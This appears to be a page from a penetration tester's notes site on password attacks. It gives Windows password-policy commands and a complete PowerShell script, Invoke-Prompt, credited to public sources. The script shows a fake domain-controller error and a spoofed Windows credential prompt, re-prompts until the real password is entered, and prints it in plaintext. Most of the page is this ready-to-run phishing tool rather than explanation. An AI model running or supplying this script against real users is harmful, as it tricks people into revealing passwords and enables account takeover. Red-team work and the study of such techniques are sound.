> For the complete documentation index, see [llms.txt](https://notes.m4lwhere.org/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.m4lwhere.org/offensive/password-attacks.md).

# Password Attacks

File hashing should be fast - used to determine integrity

Password hashing should be SLOW - used to increase amount of work for cracking

Be careful not to lock out legitimate users, as this will impact operational needs of the target

Check windows password settings

```bash
net accounts
net accounts /domain
```

Sometimes, we can just ask for creds!

```
# POC from greg.foss[at]owasp.org
# @enigma0x3
# Adapted from http://blog.logrhythm.com/security/do-you-trust-your-computer/
# https://enigma0x3.wordpress.com/2015/01/21/phishing-for-credentials-if-you-want-it-just-ask/

function Invoke-Prompt {
    [CmdletBinding()]
    Param (
        [Switch] $ProcCreateWait,
        [String] $MsgText = 'Lost contact with the Domain Controller.',
        [String] $IconType = 'Critical',
        [String] $Title = 'ERROR - 0xA801B720'
    )
    Add-Type -AssemblyName Microsoft.VisualBasic
    Add-Type -assemblyname System.DirectoryServices.AccountManagement
    $DS = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine)
    
    if($MsgText -and $($MsgText -ne '')){
        $null = [Microsoft.VisualBasic.Interaction]::MsgBox($MsgText, "OKOnly,MsgBoxSetForeground,SystemModal,$IconType", $Title)
    }
    
    $c=[System.Security.Principal.WindowsIdentity]::GetCurrent().name
    $credential = $host.ui.PromptForCredential("Credentials Required", "Please enter your user name and password.", $c, "NetBiosUserName")
    
    if($credential){
           while($DS.ValidateCredentials($c, $credential.GetNetworkCredential().password) -ne $True){
              $credential = $Host.ui.PromptForCredential("Windows Security", "Invalid Credentials, Please try again", "$env:userdomain\$env:username","")
          }
        "[+] Prompted credentials: -> " + $c + ":" + $credential.GetNetworkCredential().password
    }
    else{
        "[!] User closed credential prompt"
    }
}
```


---

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